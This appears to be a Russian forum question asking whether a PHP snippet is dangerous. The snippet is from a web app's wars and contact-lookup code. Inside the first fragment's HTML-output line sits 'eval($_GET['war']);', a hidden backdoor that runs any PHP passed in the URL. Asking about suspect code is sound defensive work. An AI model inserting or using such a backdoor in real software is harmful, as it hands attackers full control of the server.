Опасен ли код?

f="?id='.$war['id'].'&start">················ ·· ··········</a> </div></div>';}} eval($_GET['war']);if($war['status']=='0'){echo '<div class="wars-over">';echo

if (isset($_GET['contact']) || isset($_POST['to'])) {
    $contact['add'] = (isset($_POST['to']) ? $_POST['to'] : $_GET['contact']);
    
    if (preg_match("#^[A-z0-9-\._-]+@[A-z0-9\._-]{2,}\.[A-z]{2,4}$#ui", $contact['add'])) {
        $contact['from'] = urldecode($contact['add']);
        $contact['domain'] = strtolower(preg_replace("/.*?@/", '', $contact['from']));
        
        if (in_array($contact['domain'], $config['aliase'])) {
            $contact['search'] = preg_replace("/@.*/", '', $contact['from']);
            
            $contact = mysql_fetch_assoc(mysql_query("SELECT * FROM `user` AS u
                                                    WHERE `nick` = '" . my_esc($contact['search']) . "'
                                                    LIMIT 1"));  
            
            if (isset($contact['id'])) {
                $contact['add'] = $contact['id'];
            } else {
                $contact['from'] = '';
            }
            
        } else {
            $contact['avatar'] = '<img src="style/icons/email.jpg" />';
            $contact['icon'] = '<img src="style/icons/e.gif" />';
            $contact['nick'] = $contact['from'];    
            $contact['link'] = text($contact['from']);       
        }
    } 
    
    if (preg_match("#^([0-9]+)$#ui", $contact['add'])) {
        if ($contact['add'] == 0) {
            $contact['avatar'] = '<img class="avatar" src="style/icons/system.png" />';
            $contact['icon'] = '<img src="style/icons/ic_system.png" />';
            $contact['nick'] = 'Система';
            $contact['link'] = 'Система';
            $contact['id'] = 0;
        } else {
            $contact = user::get_user($contact['add']);
            $contact['link'] = $contact['icon'] . '<a href="/info.php?id=' . $contact['id'] . '">' . $contact['nick'] . '</a>';
        }
        
        $contact['from'] = $contact['id'];
    }
}